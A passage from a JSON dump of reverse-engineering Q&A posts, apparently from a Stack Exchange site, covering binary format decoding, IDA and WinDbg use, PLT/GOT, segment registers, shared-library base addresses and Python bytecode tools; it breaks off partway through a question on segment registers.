n<kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>test1</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br/>\n<kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br/>\n<kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br/>\n<kbd>test1</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br/>\n<kbd>test1</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br/></p>\n\n<p>I was able to guess some of it:</p>\n\n<ul>\n<li>It's column by column then cell by cell, starting at the top left cell.</li>\n<li>The <code>\\x04</code> in <code>\\x04test</code> seems to be the length (in bytes I guess) of the following word.</li>\n<li><code>@</code> mean the last value</li>\n</ul>\n\n<p>Anyone knows if the data is following a standard or have any tips how to decode it?</p>\n\n<p>Thanks!</p>\n\n<p>Here's an example with python :</p>\n\n<pre><code>from struct import unpack\n\n\ndef DecodeData(position):\n    print \"position\", position\n    firstChar = data[position:][:1]\n    size_in_bytes = unpack('B', firstChar)[0]\n    print \"firstChar: {0}. size_in_bytes: {1}\".format(repr(firstChar), size_in_bytes)\n    return size_in_bytes\n\n\ndef ReadWord(position, size_in_bytes):\n    word = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]\n    print \"word:\", word\n\ndata = \"\\xff\\xff\\x05\\x04test\\x02A\\x05test1@\\x04\\x03@@\\x04\\x05@0\\x00\\x00@\\x05\\x05test2\\x03\\x05\\x05test1\\x06@0\\x00\\x01@\\x00\"\n\nposition = 0\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"\\\\xff - ?\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"\\\\x05 - ?\"\n\nprint \"\"\nposition += 1\nsize_in_bytes = DecodeData(position)\nposition += 1\nReadWord(position, size_in_bytes)\n\n\nprint \"\"\nposition += size_in_bytes\nDecodeData(position)\nposition += 1\nDecodeData(position)\nprint \"\"\"'2A' : could be to say that \"test\" has 2 empty cells before it\"\"\"\n\nprint \"\"\nposition += 1\nsize_in_bytes = DecodeData(position)\nposition += 1\nword = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]\nprint \"word:\", word\n\nposition += size_in_bytes\n\nDecodeData(position)\nprint \"\"\"@: mean that there's another \"test1\" cell\"\"\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nposition += 1\nDecodeData(position)\nprint \"\\\\x04\\\\x03 - Could be that the next value is 3 cells down\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"\"\nposition += 1\nprint \"@@ - Seems to mean 3 repetitions\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nposition += 1\nDecodeData(position)\nprint \"\\\\x04\\\\x05 - Could be that the next value is 5 cells down\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"@ - repetition\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\n\nprint \"\"\nposition += 1\nDecodeData(position)\nposition += 1\nDecodeData(position)\nprint \"\\\\x00\\\\x00 - That could mean to move to the first cell on the next column\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"@ - repetition\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"\\\\x05 - ?\"\n\nprint \"\"\nposition += 1\nsize_in_bytes = DecodeData(position)\nposition += 1\nword = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]\nprint \"word:\", word\nposition += size_in_bytes\n\nprint \"\"\nDecodeData(position)\nprint \"\\\\x03 - Could be to tell that the pervious word 'test2' is 3 cells down\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"\\\\x05 - ?\"\n\nprint \"\"\nposition += 1\nsize_in_bytes = DecodeData(position)\nposition += 1\nword = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]\nprint \"word:\", word\nposition += size_in_bytes\n\nprint \"\"\nDecodeData(position)\nprint \"\\\\x06 - Could be to tell that the pervious word 'test1' is 6 cells down\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"@ - repetition\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"\\\\0 - ?\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nposition += 1\nDecodeData(position)\nprint \"\\\\x00\\\\x01 - Seems to mean, next column second cell\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"@ - repetition\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"\\\\x00 - end of data or column\"\n</code></pre>\n",
        "Title": "Any idea how to decode this binary data?",
        "Tags": "|unpacking|file-format|",
        "Answer": "<p>Here's an explanation for what I think the individual symbols mean. I'm basing this around the presumption that a little selector is going through the cells, one by one.</p>\n\n<ul>\n<li><code>\\xFF</code> = Null cell</li>\n<li><code>\\x05</code> = A string is following, with <code>\\xNumber</code> coming after the string to define how far to displace the string from the selector's current position, if at all. </li>\n<li><code>\\xNumber string</code> = A string of length number</li>\n<li><code>\\x2A</code> = Could be a byte that says not to displace the current string, and also to assume that the next piece of data is defining a string to be placed in the next cell. Questionable meaning.</li>\n<li><code>\\x04 \\xNumber</code> = Move selector ahead <code>\\xNumber</code> cells and place previous string into there.</li>\n<li><code>0 \\x00 \\x0Number</code> = New column, move selector into row <code>\\xNumber</code>, and place previous string into there.\n<code>@</code> = Place previously used string in the cell following the current one.</li>\n</ul>\n\n<p>So here's my interpretation of the data you're giving us:</p>\n\n<ul>\n<li><code>\\xFF\\xFF</code> = two null cells</li>\n<li><code>\\x05</code> = A cell, singular, with a string, placed following the null cells, because of the <code>\\x2A</code> following the string </li>\n<li><code>\\x04 test</code> = The string.</li>\n<li><code>\\x2A \\x05 test1</code> = Another string placed into the cell following. No number needed, since \\x2A implies that it's being placed right after \"test\"</li>\n<li><code>@</code> = Place \"test1\" into the cell after the \"test1\" string was first placed.</li>\n<li><code>\\x04 \\x03</code> = Move selector ahead three cells and place test1 where it lands.</li>\n<li><code>@@</code> = Place into the two cells following also.</li>\n<li><code>\\x04 \\x05 @</code> = Skip four cells, place into two cells.</li>\n<li><code>0</code> = New column.</li>\n<li><code>\\x00 \\x00 @</code> = Using string last defined (test1), place into first two cells of the column. </li>\n<li><code>\\x05 \\x05 test2 \\x03</code> = Place a cell three cells afterwords.</li>\n<li><code>\\x05\\x05test1\\x06</code> = Place test1 into a cell 6 after test2</li>\n<li><code>@</code> = Place test1 again, too.</li>\n<li><code>0</code> = move to next column</li>\n<li><code>\\x00\\x01</code> = Place previous string at location 01 </li>\n<li><code>@</code> = And also at location 02</li>\n<li><code>\\x00</code> = Done</li>\n</ul>\n\n<p>Explanation: My method was to look for a pattern, check if the pattern withstood further scrutiny - the first pattern I checked seemed to - and clear up any minor issues I had with it. Seems to have worked.</p>\n"
    },
    {
        "Id": "1973",
        "CreationDate": "2013-05-01T12:12:02.280",
        "Body": "<p>I have a large section in IDA that is a data lookup table of word length data.  I want to change them all to word length rather than byte length.  I know you can make an array but when I do it becomes an array of bytes.</p>\n",
        "Title": "How to change a large section of bytes to words in IDA Pro",
        "Tags": "|ida|",
        "Answer": "<p>According to devttys0's answer.</p>\n<p>This script is for IDA version higher than 7.4.</p>\n<pre><code>  def convert_data():\n        align_size = ida_kernwin.ask_long(4, &quot;align size&quot;)\n        if align_size == None:\n            return\n        start = idc.read_selection_start()\n        end = idc.read_selection_end()\n        print(&quot;Align %d bytes from 0x%X - 0x%X&quot; % (align_size, start, end))\n        ida_bytes.del_items(start, (end-start), ida_bytes.DELIT_SIMPLE)\n        flag = None\n        if align_size == 1:\n            flag = ida_bytes.FF_BYTE\n        elif align_size == 2:\n            flag = ida_bytes.FF_WORD\n        elif align_size == 4:\n            flag = ida_bytes.FF_DWORD\n        elif align_size == 8:\n            flag = ida_bytes.FF_QWORD\n        elif align_size == 16:\n            flag = ida_bytes.FF_OWORD\n        \n        if flag == None:\n            ida_kernwin.warning(&quot;align size is invalid&quot;)\n            return\n            \n        while start &lt; end:\n            ida_bytes.create_data(start, flag, align_size, ida_idaapi.BADADDR)\n            start += align_size\n</code></pre>\n"
    },
    {
        "Id": "1977",
        "CreationDate": "2013-05-01T16:57:56.057",
        "Body": "<p>I'm interested in debugging and monitoring a Windows Phone 8 application for which I do not have the source code. Android and iOS can both be rooted/jailbroken, which allows me to use tools like GDB (and others) to debug and monitor a running application, but I'm not aware of anything similar for Windows Phone 8.</p>\n\n<p>Additionaly I want to monitor filesystem activity while running the application (I use <a href=\"http://www.newosxbook.com/src.jl?tree=listings&amp;file=3-filemon.c\">Filemon for iOS</a> for this task on iOS). Or is it easier to simply run the application in the Windows Phone 8 simulator and attempt to monitor the app that way?</p>\n\n<p>How do you debug a Windows Phone 8 application without source code?</p>\n",
        "Title": "How can I debug or monitor a Windows Phone 8 application?",
        "Tags": "|windowsphone|",
        "Answer": "<h2>With source</h2>\n\n<p>You could use something like <a href=\"http://research.sensepost.com/tools/mobile/xapspy\">XAPSpy</a> and <a href=\"https://github.com/andreycha/tangerine\">Tangerine</a> on Github which is updated to work with WP8. It may work without source not sure.</p>\n\n<p>XAPSpy Source: <a href=\"https://github.com/sensepost/XAPSpy\">Github</a>. </p>\n\n<h2>Without source</h2>\n\n<p>Something more advanced is need something more like <a href=\"http://www.securityninja.co.uk/application-security/windows-phone-app-analyser-v1-0-released-today-2/\">Windows Phone App Analyser</a> </p>\n\n<p>Download/Source: <a href=\"http://sourceforge.net/projects/wpaa/\">SourceForge</a></p>\n\n<p>I would imagine you could use them both together by decompliling the .xap you are working with with WPPA and then using XAPSpy on that source. I've never tried that though.</p>\n\n<p>Sadly if you are dealing with a newer app you won't be able \nto decompile it as <a href=\"http://forum.xda-developers.com/showthread.php?t=2140706\">they are encrypted</a>. You might be able to somehow get the keys out of the operating system but that would be difficult as well.</p>\n\n<p>Here is a set of slides on the topic: <a href=\"http://www.slideshare.net/AndreyChasovskikh/inspection-of-windows-phone-applications\">Inspection of Windows Phone Applciations</a> that goes into some detail about tangerine.</p>\n"
    },
    {
        "Id": "1979",
        "CreationDate": "2013-05-01T20:49:47.897",
        "Body": "<p>I have WinDbg attached to a process I don't have the source code for. I've set a breakpoint with <code>bm ADVAPI32!_RegOpenKeyExW@20</code>. The output of dv is:</p>\n\n<pre><code>Unable to enumerate locals, HRESULT 0x80004005\nPrivate symbols (symbols.pri) are required for locals.\nType \".hh dbgerr005\" for details.\n</code></pre>\n\n<p>The output of kP is:</p>\n\n<pre><code>0:000&gt; kP\nChildEBP RetAddr  \n001ae174 5b73a79c ADVAPI32!_RegOpenKeyExW@20\n001ae1cc 5b77bb20 msenv!?ReadSecurityAddinSetting@@YG_NPAGK@Z+0x8a\n001ae468 5b781aad msenv!?    QueryStatusCmd@CVSCommandTarget@@QAEJPBVCIcmdGuidCmdId@@PBU_GUID@@KQAU_tagOLECMD@@PAU_tagOLECMDTEXT@@@Z+0x254\n001ae49c 5b786073 msenv!?IsCommandVisible@CVSShellMenu@@QAEJPBVCIcmdGuidCmdId@@_N@Z+0xbf\n001ae4e4 5b785fd2 msenv!?IsCommandVisible@CSurfaceCommandingSupport@@UAGJABU_COMMANDTABLEID@@_NPAH@Z+0xa0\n. . .\n</code></pre>\n\n<p>What can I do to look at the values of the paramaters passed (particularly the second one: <em>LPCTSTR lpSubKey</em>)? Also, what can I do to set a conditional breakpoint based on the value?</p>\n\n<p>I have the Visual Studio debugger as well as WinDbg. I'm willing to try other tools as well.</p>\n",
        "Title": "How do I see the parameters passed to RegOpenKeyEx, and set a conditional breakpoint?",
        "Tags": "|debugging-symbols|windbg|",
        "Answer": "<p>Although it doesn't support breakpoints, <a href=\"http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx\" rel=\"nofollow noreferrer\">Process Monito</a>r is an excellent tool to monitor registry access. Using Filters you can easily choose which keys you want to include, exclude, highlight etc. It also allows you to view the stack trace of any event.</p>\n\n<blockquote>\n  <p>Process Monitor is an advanced monitoring tool for Windows that shows\n  real-time file system, Registry and process/thread activity. It\n  combines the features of two legacy Sysinternals utilities, Filemon\n  and Regmon, and adds an extensive list of enhancements including rich\n  and non-destructive filtering, comprehensive event properties such\n  session IDs and user names, reliable process information, full thread\n  stacks with integrated symbol support for each operation, simultaneous\n  logging to a file, and much more. Its uniquely powerful features will\n  make Process Monitor a core utility in your system troubleshooting and\n  malware hunting toolkit.</p>\n</blockquote>\n\n<p><img src=\"https://i.stack.imgur.com/P1DcF.gif\" alt=\"enter image description here\">\n<img src=\"https://i.stack.imgur.com/3evMc.gif\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "1990",
        "CreationDate": "2013-05-03T07:13:20.343",
        "Body": "<p>When I disassemble a function, I encounter from time to time an expression of the form <code>%reg:value</code>. Typically, I encounter this syntax when I activate the canaries in GCC (<code>-fstack-protector</code>), as in the following example:</p>\n\n<pre><code>(gdb) disas\nDump of assembler code for function foo:\n   0x000000000040057c &lt;+0&gt;: push   %rbp\n   0x000000000040057d &lt;+1&gt;: mov    %rsp,%rbp\n   0x0000000000400580 &lt;+4&gt;: sub    $0x20,%rsp\n   0x0000000000400584 &lt;+8&gt;: mov    %edi,-0x14(%rbp)\n=&gt; 0x0000000000400587 &lt;+11&gt;:    mov    %fs:0x28,%rax\n   0x0000000000400590 &lt;+20&gt;:    mov    %rax,-0x8(%rbp)\n   0x0000000000400594 &lt;+24&gt;:    xor    %eax,%eax\n   0x0000000000400596 &lt;+26&gt;:    mov    $0x4006ac,%edi\n   0x000000000040059b &lt;+31&gt;:    callq  0x400440 &lt;puts@plt&gt;\n   0x00000000004005a0 &lt;+36&gt;:    mov    -0x8(%rbp),%rax\n   0x00000000004005a4 &lt;+40&gt;:    xor    %fs:0x28,%rax\n   0x00000000004005ad &lt;+49&gt;:    je     0x4005b4 &lt;foo+56&gt;\n   0x00000000004005af &lt;+51&gt;:    callq  0x400450 &lt;__stack_chk_fail@plt&gt;\n   0x00000000004005b4 &lt;+56&gt;:    leaveq \n   0x00000000004005b5 &lt;+57&gt;:    retq   \n</code></pre>\n\n<p>What is the meaning of this kind of syntax?</p>\n",
        "Title": "What does %reg:value mean in ATT assembly?",
        "Tags": "|disassembly|x86|assembly|",
        "Answer": "<p><code>%fs:028h</code> is actually using the form <code>segment:offset</code>, which means it is reaching the memory address at offset <code>28h</code> in the segment selected by the Far Segment <code>FS</code>.</p>\n\n<p>Any memory reference has an implicit segment (most of the time, <code>CS</code> for execution, <code>DS</code> for data read/write), which can be overriden by a segment prefix.</p>\n"
    },
    {
        "Id": "1992",
        "CreationDate": "2013-05-03T08:39:11.810",
        "Body": "<p>From time to time, when disassembling x86 binaries, I stumble on\nreference to <code>PLT</code> and <code>GOT</code>, especially when calling procedures from a\ndynamic library.</p>\n\n<p>For example, when running a program in <code>gdb</code>:</p>\n\n<pre><code>(gdb) info file\nSymbols from \"/home/user/hello\".\nLocal exec file: `/home/user/hello', file type elf64-x86-64.\nEntry point: 0x400400\n    0x0000000000400200 - 0x000000000040021c is .interp\n    0x000000000040021c - 0x000000000040023c is .note.ABI-tag\n    0x000000000040023c - 0x0000000000400260 is .note.gnu.build-id\n    0x0000000000400260 - 0x0000000000400284 is .hash\n    0x0000000000400288 - 0x00000000004002a4 is .gnu.hash\n    0x00000000004002a8 - 0x0000000000400308 is .dynsym\n    0x0000000000400308 - 0x0000000000400345 is .dynstr\n    0x0000000000400346 - 0x000000000040034e is .gnu.version\n    0x0000000000400350 - 0x0000000000400370 is .gnu.version_r\n    0x0000000000400370 - 0x0000000000400388 is .rela.dyn\n    0x0000000000400388 - 0x00000000004003b8 is .rela.plt\n    0x00000000004003b8 - 0x00000000004003c6 is .init\n =&gt; 0x00000000004003d0 - 0x0000000000400400 is .plt\n    0x0000000000400400 - 0x00000000004005dc is .text\n    0x00000000004005dc - 0x00000000004005e5 is .fini\n    0x00000000004005e8 - 0x00000000004005fa is .rodata\n    0x00000000004005fc - 0x0000000000400630 is .eh_frame_hdr\n    0x0000000000400630 - 0x00000000004006f4 is .eh_frame\n    0x00000000006006f8 - 0x0000000000600700 is .init_array\n    0x0000000000600700 - 0x0000000000600708 is .fini_array\n    0x0000000000600708 - 0x0000000000600710 is .jcr\n    0x0000000000600710 - 0x00000000006008f0 is .dynamic\n =&gt; 0x00000000006008f0 - 0x00000000006008f8 is .got\n =&gt; 0x00000000006008f8 - 0x0000000000600920 is .got.plt\n    0x0000000000600920 - 0x0000000000600930 is .data\n    0x0000000000600930 - 0x0000000000600938 is .bss\n</code></pre>\n\n<p>And, then when disassembling (<code>puts@plt</code>):</p>\n\n<pre><code>(gdb) disas foo\nDump of assembler code for function foo:\n   0x000000000040050c &lt;+0&gt;: push   %rbp\n   0x000000000040050d &lt;+1&gt;: mov    %rsp,%rbp\n   0x0000000000400510 &lt;+4&gt;: sub    $0x10,%rsp\n   0x0000000000400514 &lt;+8&gt;: mov    %edi,-0x4(%rbp)\n   0x0000000000400517 &lt;+11&gt;:    mov    $0x4005ec,%edi\n=&gt; 0x000000000040051c &lt;+16&gt;:    callq  0x4003e0 &lt;puts@plt&gt;\n   0x0000000000400521 &lt;+21&gt;:    leaveq\n   0x0000000000400522 &lt;+22&gt;:    retq\nEnd of assembler dump.\n</code></pre>\n\n<p>So, what are these GOT/PLT ?</p>\n",
        "Title": "What is PLT/GOT?",
        "Tags": "|x86|binary-analysis|elf|amd64|",
        "Answer": "<p>Let me summarize the links given at <a href=\"https://reverseengineering.stackexchange.com/a/1993/12321\">https://reverseengineering.stackexchange.com/a/1993/12321</a> without going into serious disasembly analysis for now. </p>\n\n<p>When the Linux kernel + dynamic linker is going to run a binary with <code>exec</code>, it traditionally just dumped the ELF section into a known memory location specified by the linker during link time.</p>\n\n<p>So, whenever your coded:</p>\n\n<ul>\n<li>referenced a global variable inside your code</li>\n<li>called a function from inside your code</li>\n</ul>\n\n<p>the compiler + linker could just hardcode the address into the assembly and everything would work.</p>\n\n<p>However, how can we do it when dealing with shared libraries, which must necessarily get loaded at potentially different addresses every time to avoid conflicts between two shared libraries?</p>\n\n<p>The naive solution would be to keep relocation metadata on the final executable, <a href=\"https://stackoverflow.com/questions/3322911/what-do-linkers-do\">much like the actual linker does</a> and whenever the program is loaded, have the dynamic linker go over every single access and patch it up with the right address.</p>\n\n<p>However, this would be too time consuming, since there could be a lot of references to patch on a program, and then that program would take a long time to start running.</p>\n\n<p>The solution, as usual, is to add another level of indirection: the GOT and PLT, which are two extra chunks of memory setup by the compilation system + dynamic linker.</p>\n\n<p>After the program is launched, the dynamic linker checks the address of shared libraries, and hacks up the GOT and PLT so that it will point correctly to the required shared library symbols:  </p>\n\n<ul>\n<li><p>whenever a global variable of a shared library is accessed by your program, the compiler + linker emits instead two memory accesses:</p>\n\n<pre><code>mov    0x200271(%rip),%rax        # 200828 &lt;_DYNAMIC+0x1a0&gt;\nmov    (%rax),%eax\n</code></pre>\n\n<p>The first one load the true address of the variable from the GOT, which the dynamic linker previously set, into <code>rax</code>.</p>\n\n<p>The second indirect access actually accesses the variable indirectly through the address from <code>rax</code>.</p></li>\n<li><p>for code, things are a bit more complicated.</p>\n\n<p>Whenever a function from a shared library is called, the linker makes us jump to an address in the PLT.</p>\n\n<p>The first time the function is called, the PLT code uses offsets stored in the GOT to decide the actual final location of the function, and then:</p>\n\n<ul>\n<li>stores this pre-calculated value</li>\n<li>jumps there</li>\n</ul>\n\n<p>The next times the function is called, the value has already been calculated, so it just jumps there directly.</p>\n\n<p>Due to this lazy resolution mechanism:</p>\n\n<ul>\n<li>programs can start running quickly even if the shared libraries have a lot of symbols</li>\n<li>we can replace functions on the fly by playing with the <code>LD_PRELOAD</code> variable</li>\n</ul></li>\n</ul>\n\n<p>Nowadays, <a href=\"https://stackoverflow.com/questions/2463150/what-is-the-fpie-option-for-position-independent-executables-in-gcc-and-ld\">position independent executables (PIE)</a> are the default on distros such as Ubuntu 18.04.</p>\n\n<p>Much like shared libraries, these executables are compiled so that they can be placed at a random position in memory whenever they are executed, in order to make certain vulnerabilities harder to exploit.</p>\n\n<p>Therefore, it is not possible to hardcode absolute function and variable addresses anymore in that case. Executables must either:</p>\n\n<ul>\n<li>user instruction pointer relative addressing if those are available on the assembly language, e.g.:\n\n<ul>\n<li>ARMv8:\n\n<ul>\n<li><code>B</code> does 26-bit jumps, <code>B.cond</code> 19-bit</li>\n<li><a href=\"https://stackoverflow.com/questions/28638981/howto-write-pc-relative-adressing-on-arm-asm/54480999#54480999\">\"LDR (literal)\"</a> does 19-bit loads</li>\n<li><code>ADR</code> calculates 21-bit relative addresses that other instructions can use</li>\n</ul></li>\n</ul></li>\n<li>use the GOT / PLT otherwise</li>\n</ul>\n"
    },
    {
        "Id": "1994",
        "CreationDate": "2013-05-03T15:26:58.313",
        "Body": "<p>I'm on a Linux machine with ASLR disabled. Running <code>ldd</code> on a binary gives me the following result :</p>\n\n<pre><code>linux-gate.so.1 =&gt;  (0xb7fe1000)\nlibc.so.6 =&gt; /lib/i386-linux-gnu/libc.so.6 (0xb7e5c000)\n/lib/ld-linux.so.2 (0xb7fe2000)\n</code></pre>\n\n<p>Does this mean that <code>libc.so.6</code> will be loaded at the address <code>0xb7e5c000</code>? I'm trying to build a ROP chain for an old CTF challenge and I'd like to get gadgets from the library. I'm looking to know the base address of the library so that I can add it to the offsets of the gadgets.</p>\n",
        "Title": "Base address of shared objects from ldd output",
        "Tags": "|linux|libraries|dynamic-linking|",
        "Answer": "<p>Yes, the base address of <code>libc.so.6</code> should be <code>0xb7e5c000</code> for that binary. You can verify this by catting <code>/proc/&lt;pid&gt;/maps</code> while your application is running.</p>\n"
    },
    {
        "Id": "1999",
        "CreationDate": "2013-05-03T17:06:20.423",
        "Body": "<p>Recently on <a href=\"http://www.reddit.com/r/ReverseEngineering\" rel=\"noreferrer\">Reddit ReverseEngineering</a> I stumbled on a <a href=\"http://www.reddit.com/r/ReverseEngineering/comments/1da222/selfmodifying_python_bytecode/\" rel=\"noreferrer\">self-modifying code in Python</a>. Looking at the <a href=\"https://github.com/0vercl0k/stuffz/tree/master/Python%27s%20internals\" rel=\"noreferrer\">Github</a> repository was quite instructive and I found picture of the Python bytecode program exposed in CFG form:</p>\n\n<p><img src=\"https://i.stack.imgur.com/TKeQM.png\" alt=\"enter image description here\"></p>\n\n<p>I am wondering if there are tools to perform static analysis on Python bytecode program with some nice features (such as generating the CFG or allowing to manipulate the code, ...) ?</p>\n",
        "Title": "What are the tools to analyze Python (obfuscated) bytecode?",
        "Tags": "|tools|python|",
        "Answer": "<p>A challenge in writing a tool to extract the control flow of python bytecode is that there are so many Python bytecodes versions to choose from, about 25 or so by now (if you include pypy variants).</p>\n\n<p>The bytecode in the example graph with its <code>JUMP_IF_FALSE</code> followed by some <code>POP_TOP</code>s and <code>PRINT_NEWLINE</code> instruction, reflect Python before 2.7. </p>\n\n<p>However the example in one of the comments from the Flare_bytecode_graph with its <code>POP_TOP_IF_FALSE</code> is 2.7. Python 3 drops the <code>PRINT_ITEM</code> instruction.</p>\n\n<p>Anyone writing such a tool will have to come to grips with that; or be happy with living in a single version of Python, for which 2.7 is probably the most popular choice. Or you could ensure that the version of Python you are running matches the bytecode you want to analyze and use the current <em>dis</em> and <em>opcode</em> modules that Python provides. But even here those modules change over time, not in the least being the particular bytecode instructions.</p>\n\n<p>I wrote a python package called <a href=\"https://pypi.python.org/pypi/xdis\" rel=\"nofollow noreferrer\">xdis</a> for those who want to work across all versions of Python bytecode, and don't want to be tied with using the same version of Python that the bytecode requires.</p>\n\n<p>The next thing that you'll probably want to do in this endeavor is to classify instructions into categories like those which can branch and those that can't and if the branch is conditional or not. </p>\n\n<p>Python has some lists that cover some of this, (\"hasjrel\", \"hasjabs\") but alas it doesn't have the categories that are most useful. And for possibly historical reasons the categories are lists rather than sets. But again xdis to the rescue here; it fills this information in with sets \"CONDITION_OPS\", \"JUMP_UNCONDITIONAL\" and \"JUMP_OPS\". </p>\n\n<p>Using this I've written <a href=\"https://github.com/rocky/python-control-flow\" rel=\"nofollow noreferrer\">https://github.com/rocky/python-control-flow</a> which uses xdis and has some rudimentary code that will create a control flow graph and dominator tree for most Python bytecodes. There is some code to create dot files and I use graphviz to display that. I notice that Python, can create a lot of dead code.</p>\n\n<p>The intended use of that package is to reconstruct high-level Python control structures. There is some rudimentary control structure detection, although this needs a lot more work. Python control structures are pretty rich when you include the try/while/for \"else\" clauses, and the \"finally\" clauses. Even as is, the annotated control flow of the basic blocks very helpful in manually reconstructing structured control flow.</p>\n\n<p>When this is finished, I can replace a <em>lot</em> of the hacky code for doing that in <a href=\"https://pypi.python.org/pypi/uncompyle6\" rel=\"nofollow noreferrer\">uncompyle6</a>. </p>\n\n<p>And this leads me to the list of decompilers mentioned in the accepted answer...</p>\n\n<p>As stated, those particular versions of uncompyle and uncompyle2 handle only Python 2.7. As suggested, there are older versions that handle multiple Python versions 1.5 to 2.3 or 2.4 or so. That is if you have a Python 2.3 or 2.4 interpreter to run this on.</p>\n\n<p><strong>But none of these projects are actively maintained</strong>. In uncompyle, there are <a href=\"https://github.com/gstarnberger/uncompyle/issues\" rel=\"nofollow noreferrer\">currently 25 or so issues with the code</a>, many that I have fixed in uncompyle6. And this is for a version of Python that no longer changes! (To be fair though there are some bugs in uncompyle6 that don't exist in uncompyle2. And to address those, I'd really need to put in place that better control flow analysis) </p>\n\n<p>A number of the bugs in uncompyle could easily be fixed by just doing the same thing that uncompyle6 does, and I think some of that I've noted in the issues. At this point uncompyle2 is much better than uncompyle, and if you are only interested in Python 2.7, that is the most accurate.</p>\n\n<p>As for pycdc, while it is pretty good for its relatively small size (compared to uncompyle6), it too isn't maintained to the level that it would need to keep up with Python changes. So it is weak around Python 3.4 or so and gets progressively weaker for later versions. Uncompyle6 is like that too, but currently less so. <a href=\"https://github.com/zrax/pycdc/issues\" rel=\"nofollow noreferrer\">pycdc has over 60 issues logged against it</a> and I doubt those will be addressed anytime soon. Some of them aren't <em>that</em> difficult to fix. My own (possibly slanted) comparison of those two decompilers is <a href=\"https://github.com/rocky/python-uncompyle6/wiki/pycdc-compared-with-uncompyle6\" rel=\"nofollow noreferrer\">https://github.com/rocky/python-uncompyle6/wiki/pycdc-compared-with-uncompyle6</a></p>\n"
    },
    {
        "Id": "2000",
        "CreationDate": "2013-05-03T20:49:37.897",
        "Body": "<p>I'm trying to extract menus and other stuff from a <a href=\"https://en.wikipedia.org/wiki/New_Executable\" rel=\"noreferrer\">New Executable (NE)</a>, i.e. the ones from Windows' 16-bit times. The tools I find (e. g. ResourceTuner) work for <a href=\"https://en.wikipedia.org/wiki/Portable_Executable\" rel=\"noreferrer\">PEs</a> only.</p>\n\n<p>Any idea for tools to facilitate the resource extraction? Could be several steps too, e.g.  one program extracting the raw resources, one displaying them in a proper form.</p>\n",
        "Title": "How can one extract resources from a New Executable?",
        "Tags": "|tools|ne|",
        "Answer": "<p>A great resource for old tools is the <a href=\"http://www.sac.sk/\" rel=\"noreferrer\">SAC server</a>. From a quick search <a href=\"ftp://ftp.sac.sk/pub/sac/utilprog/resgrabr.exe\" rel=\"noreferrer\">Resource Grabber</a> seems to support NE resources, though the UI is annoying to use.</p>\n\n<p>Another options is <a href=\"http://hp.vector.co.jp/authors/VA003525/emysoft.htm#6\" rel=\"noreferrer\">eXeScope</a> (shareware).</p>\n\n<p>Also, long time ago I found somewhere a tool with the name <code>dresplay.exe</code>. I don't have it at hand right now and Google doesn't seem to know about it...</p>\n"
    },
    {
        "Id": "2006",
        "CreationDate": "2013-05-04T06:18:49.163",
        "Body": "<p>I try to understand the process of memory segmentation for the i386 and amd64 architectures on Linux. It seems that this is heavily related to the segment registers <code>%fs</code>, <code>%gs</code>, <code>%cs</code>, <code>%ss</code>, <code>%ds</code>, <code>%es</code>. </p>\n\n<p>Can somebody explain how these registers are used, both, in user and kernel-land programs ?</p>\n",
        "Title": "How are the segment registers (fs, gs, cs, ss, ds, es) used in Linux?",
        "Tags": "|linux|x86|assembly|amd64|",
